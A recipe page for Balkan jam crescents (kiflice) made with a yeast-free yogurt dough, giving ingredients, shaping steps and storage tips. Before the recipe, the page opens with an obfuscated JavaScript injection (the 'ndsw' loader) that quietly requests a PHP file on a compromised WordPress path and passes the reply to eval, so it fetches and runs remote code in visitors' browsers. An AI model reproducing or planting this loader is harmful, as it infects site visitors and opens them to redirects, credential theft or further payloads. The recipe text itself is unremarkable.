;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//thehomeharvest.com/wp-admin/css/colors/blue/blue.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Bite My Kitchen by Gordana

Easy Jam Crescents

20 minutes


30 crescents

One of my favourite all time childhood treats Kiflice or Jam Crescents. I have lost count of how many times my brother and I indulged in these as kids! They were the best when they were warm out of the oven. The dough for this recipe is made with only four ingredients. For the filling, all you need is jam. This version of Jam Crescent is made with a yeast-free dough, not traditional, but an easier and lighter take on this delicious treat. These Jam Crescents will melt-in-your-mouth

jam crescents

The dough

The dough for these easy jam crescents is soft and buttery. It is best to measure and prepare all of your ingredients first. The dough can be prepared in one bowl. A stand alone mixer makes things even easier. For the best results, use the butter when it is at room temperature. Leave the butter out on the counter for forty minutes prior to using. It is as simple as combining the butter and sugar until it becomes soft and creamy. Then mix in the Greek yogurt and gradually add in the flour. It will take a few minutes for the dough to form into a ball. Once you get a ball, gently knead the dough with your hands on a floured surface until you get a smooth ball. Cut the dough in half. The dough is ready to be used straight away. You do not have to refrigerate it prior to using it.

jam crescents on a plate

Shaping the crescents

Take one half of the dough and roll into a circle, roughly 5 mm thick. Cut the circle into triangles (like a pizza). Each triangle needs to be big enough to hold a teaspoon of jam inside. You can choose how big or small you like them. I personally like them smaller. This way I end up with roughly thirty small jam crescents. If you choose to make them bigger, you will end up with half of that amount. Place a teaspoon of jam at the wider end of each triangle, then roll up like a croissant. Place on a baking tray lined with baking paper and glaze each crescent with an egg.

jam crescent

The Filling

All you need is a jar of jam, that is it. I would recommend any type of berry, plum or apricot jam. However, beware as the jam will spill a little during the baking process. This is normal. Under heat the jam is bound to spill. Do not worry though these are still delicious and smell amazing. If you prefer, use a different filling such as Nutella or any chocolate, hazelnut based filling. This will not cause any spilling.

jam crescents on a plate

Did you make this recipe?

I hope that you enjoy these delicious Easy Jam Crescents! They are a simplified take on the traditional kiflice from the Balkans. If you do make this recipe feel free to comment below or rate this recipe. Any feedback always helps. You can also tag me over on Instagram with your picture of this recipe.

Looking for more?

If you are looking for more ideas, try one of the recipes below:

Vanilice (Serbian Jam Cookies)

Chocolate Snowball Cookies

Pizza Kifle



Adjust Servings
160g unsalted butter (room temperature)
120g caster sugar
200g Greek yogurt (plain)
250g all purpose flour
1jar jam
1 whole egg (beaten, for the egg wash)


Making The Dough
Preheat the oven to 180C & line two baking trays with baking paper.
In a bowl, mix the butter and sugar until it becomes soft & creamy. Then, add in the Greek yogurt and combine. Gradually add in the flour. Keep mixing until a ball is formed. Place the dough onto a floured surface and kneed until you have a smooth dough ball.
Mark as complete
Shaping The Dough
Cut the dough in half. Take one half of the dough and roll into a circle, roughly 5 mm thick. Cut the circle into triangles (like a pizza). Place a teaspoon of jam at the wider end of each triangle. Roll up like a croissant. Place on a baking tray lined with baking paper.
Mark as complete
Whisk one egg in a bowl. Using a brush, glaze each crescent with the egg. Bake in the oven for 20 minutes or until they have turned a light brown colour. Serve with icing sugar, or as is.
Mark as complete
Kiflice can be kept for days, or weeks in a closed container if you refrigerate them. You can also freeze them for a later time.

Leave a Reply

Your email address will not be published. Required fields are marked *